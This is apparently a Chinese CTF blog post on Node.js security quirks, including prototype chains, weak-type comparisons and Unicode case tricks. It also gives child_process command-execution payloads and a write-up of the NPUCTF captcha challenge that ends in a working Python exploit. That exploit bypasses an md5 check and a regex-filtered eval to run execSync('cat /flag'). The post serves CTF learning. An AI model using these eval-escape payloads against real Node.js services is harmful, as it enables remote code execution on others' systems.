最近发觉nodejs的一些特性很有意思,对此进行一番小结,有不足之处请师傅们补充。
源自JavaScript的原型继承模型。
几乎js的所有对象都是Object的实例,我们没办法使用class自写一个类。js中只剩下对象,我们可以从一个函数中创建一个对象ob:
function testfn() { this.a = 1; this.b = 2; } var ob = new testfn()
而从原始类型中创建对象为:
a = "test"; b = 1; c = false
这就是js被称为弱类型的原因,这一点与php、python类似,但又不相同,比如就null来说,php和python有一个专门的类型,对php来说是NULL类型,而python中没有null,取而代之的是none,同样的其为NontType;但对于js来说不一样,引一段代码来说话:
console.log(typeof(null)) //输出 object
而我们的null被称为原型对象,也就是万事万物的源点。
再谈谈js的数据类型,其大致分为两大类,一为基本类型,二为引用类型:
基本类型有:String、Number、boolean、null、undefined。
引用类型有:Object、Array、RegExp、Date、Function。
就数据类型来说,事实上也是JavaScript中的内置对象,也就是说JavaScript没有类的概念,只有对象。对于对象
来说,我们可以通过如下三种方式访问其原型:
function testfn() { this.a = 1; this.b = 2; } var ob = new testfn() //function console.log(testfn["__proto__"]) console.log(testfn.__proto__) console.log(testfn.constructor.prototype) //object console.log(ob["__proto__"]) console.log(ob.__proto__) console.log(ob.constructor.prototype) //tip: //ob.__proto__ == testfn.prototype
下面再看一个关于prototype(原型)用法的例子:
Array.prototype.test = function test(){ console.log("Come from prototype") } a = [] a.test() //输出 Come from prototype
若是以java这种强类型语言对于类的定义来解释,我们可以把prototype看作是一个类的一个属性,而该属性指向了本类的父类, Array.prototype.test
即是给父类的test添加了一个test方法,当任何通过Array实例化的对象都会拥有test方法,即子类继承父类的非私有属性,所以当重新定义了父类中的属性时,其他通过子类实例化的对象也会拥有该属性,只能说是类似于上述解释,但不可完全以上述解释来解释原型,因为js对于类的定义有些模糊。
console.log([].__proto__) console.log([].__proto__.__proto__) console.log([].__proto__.__proto__.__proto__)
其原型链如下:
[] -> Array -> Object -> null
原型链的网上资料很多就不多讲了。
这个类似与php,这个就很多啦,直接看代码示例理解更快:
console.log(1=='1'); //true console.log(1>'2'); //false console.log('1'<'2'); //true console.log(111>'3'); //true console.log('111'>'3'); //false console.log('asd'>1); //false
总结:数字与字符串比较时,会优先将纯数字型字符串转为数字之后再进行比较;而字符串与字符串比较时,会将字符串的第一个字符转为ASCII码之后再进行比较,因此就会出现第五行代码的这种情况;而非数字型字符串与任何数字进行比较都是false。
数组的比较:
console.log([]==[]); //false console.log([]>[]); //false console.log([]>[]); //false console.log([6,2]>[5]); //true console.log([100,2]<'test'); //true console.log([1,2]<'2'); //true console.log([11,16]<"10"); //false
总结:空数组之间比较永远为false,数组之间比较只比较数组间的第一个值,对第一个值采用前面总结的比较方法,数组与非数值型字符串比较,数组永远小于非数值型字符串;数组与数值型字符串比较,取第一个之后按前面总结的方法进行比较。
还有一些比较特别的相等:
console.log(null==undefined) // 输出:true console.log(null===undefined) // 输出:false console.log(NaN==NaN) // 输出:false console.log(NaN===NaN) // 输出:false
console.log(5+[6,6]); //56,3 console.log("5"+6); //56 console.log("5"+[6,6]); //56,6 console.log("5"+["6","6"]); //56,6
在一些沙盒逃逸时我们通常是找到一个可以执行任意命令的payload,若是在ctf比赛中,我们需要getflag时通常是需要想尽办法加载模块来达成特殊要求。
比赛中常见可以通过child_process模块来加载模块,获得exec,execfile,execSync。
require('child_process').exec('calc');
global.process.mainModule.constructor._load('child_process').exec('calc');
对于一些上下文中没有require的情况下,通常是想办法使用后者来加载模块,事实上,node的Function(...)并不能找到require这个函数。
有些情况下可以直接用require,如eval。
eval("require('child_process').exec('calc');"); setInterval(require('child_process').exec,1000,"calc"); setTimeout(require('child_process').exec,1000,"calc"); Function("global.process.mainModule.constructor._load('child_process').exec('calc')")();
这里可以发现对于Function来说上下文并不存在require,需要从global中一路调出来exec。
这个p神发过啦,简单易懂。
总结下来就是有两个奇特的字符"ı"、"ſ",还有一个K的加粗版,前两个用toUpperCase可以分别转为'I'和'S',后一个使用toLowerCase可以转为小写的k。
p神的文章:Fuzz中的javascript大小写特性
我们可以使用反引号替代括号执行函数,如:
alert`test!!`
可以用反引号替代单引号双引号,可以在反引号内插入变量,如:
var fruit = "apple";
console.log`i like ${fruit} very much`;
事实上,模板字符串是将我们的字符串作为参数传入函数中,而该参数是一个数组,该数组会在遇到${}
时将字符串进行分割,具体为下:
["i like ", " very much", raw: Array(2)]
0: "i like "
1: " very much"
length: 2
raw: (2) ["i like ", " very much"]
__proto__: Array(0)
所以有时使用反引号执行会失败,所以如下是无法执行的:
eval`alert(2)`
这道题取自NPUCTF的验证码,发现这道题挺好,用来入门nodejs挺好,首先给出源码:
const express = require('express'); const bodyParser = require('body-parser'); const cookieSession = require('cookie-session'); const fs = require('fs'); const crypto = require('crypto'); const keys = require('./key.js').keys; function md5(s) { return crypto.createHash('md5') .update(s) .digest('hex'); } function saferEval(str) { if (str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')) { return null; } return eval(str); } // 2020.4/WORKER1 淦,上次的库太垃圾,我自己写了一个 const template = fs.readFileSync('./index.html').toString(); function render(results) { return template.replace('{{results}}', results.join('<br/>')); } const app = express(); app.use(bodyParser.urlencoded({ extended: false })); app.use(bodyParser.json()); app.use(cookieSession({ name: 'PHPSESSION', // 2020.3/WORKER2 嘿嘿, keys })); Object.freeze(Object); Object.freeze(Math); app.post('/', function (req, res) { let result = ''; const results = req.session.results || []; const { e, first, second } = req.body; if (first && second && first.length === second.length && first!==second && md5(first+keys[0]) === md5(second+keys[0])) { if (req.body.e) { try { result = saferEval(req.body.e) || 'Wrong Wrong Wrong!!!'; } catch (e) { console.log(e); result = 'Wrong Wrong Wrong!!!'; } results.unshift(`${req.body.e}=${result}`); } } else { results.unshift('Not verified!'); } if (results.length > 13) { results.pop(); } req.session.results = results; res.send(render(req.session.results)); }); // 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI app.get('/source', function (req, res) { res.set('Content-Type', 'text/javascript;charset=utf-8'); res.send(fs.readFileSync('./index.js')); }); app.get('/', function (req, res) { res.set('Content-Type', 'text/html;charset=utf-8'); req.session.admin = req.session.admin || 0; res.send(render(req.session.results = req.session.results || [])) }); app.listen(80, '0.0.0.0', () => { console.log('Start listening') });
首先看到saferEval函数,我们看到只要绕过正则之后就可以利用在代码执行处所说的eval来执行代码;在此之前看看调用了saferEval的地方,这里要绕过就需要利用到前面说的弱类型了:
if (first && second && first.length === second.length && first!==second &&md5(first+keys[0]) === md5(second+keys[0]))
first和second都是我们可控的,这里要我们first和second不相等但长度又需要相等,同时还要在最后加上key之后进行md5要相等,要符合一系列条件较难,然而弱类型帮了一把。
md5处使用了变量的拼接,因此我们可以利用类似'a'+key[0]==['a']+key[0]
进行绕过,而且关键在于first和second的比较使用了!===
。这也给绕过提供了帮助。
抓包时候会发现是默认请求类型是x-www-form-urlencoded,无法传输数组,但因为这里使用了body-parser
模块内的json,因此可以改下头application/json。
#-*- coding:utf-8 -*- #__author__: HhhM import requests import json print("Start the program:") url = "http://xxx/" headers = {"Content-Type": "application/json"} data = json.dumps({'e': "1+1", "first": [1], "second": "1"}) r = requests.post(url, headers=headers, data=data) print(r.text)
输出为2,证明前面成功绕过了,接下来考虑saferEval
,看看正则:
str.replace(/(?:Math(?:\.\w+)?)|[()+\-*/&|^%<>=,?:]|(?:\d+\.?\d*(?:e\d+)?)| /g, '')
我们需要让我们的正则符合他的要求,利用前两个正则我们可以构造出如:
(Math)
,Math.xxx(xxx)
也支持使用arrow function(箭头函数),我们可以使用箭头函数配合Math通过原型获取到Function,使用我上面提到的Function,通过global一路调出来exec执行任意命令。
Math=>(Math=Math.constructor,Math.constructor)
这样虽然可以得到Function,但限于正则我们无法执行命令,这里绕过采用String.fromCharCode,String可以通过变量拼接拼接出一个字符串,再调用constructor获取到String对象。
因此exp如下:
#-*- coding:utf-8 -*- #__author__: HhhM import requests import json import re def payload(): s = "return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')" return ','.join([str(ord(i)) for i in s]) a = payload() print("Start the program:") url = "http://xxx/" headers = {"Content-Type": "application/json"} e = "(Math=>(Math=Math.constructor,Math.constructor(Math.fromCharCode({0}))()))(Math+1)".format(a) data = json.dumps({'e': e, "first": [1], "second": "1"}) r = requests.post(url, headers=headers, data=data) print(r.text)
console.log(typeof(NaN))
输出为number。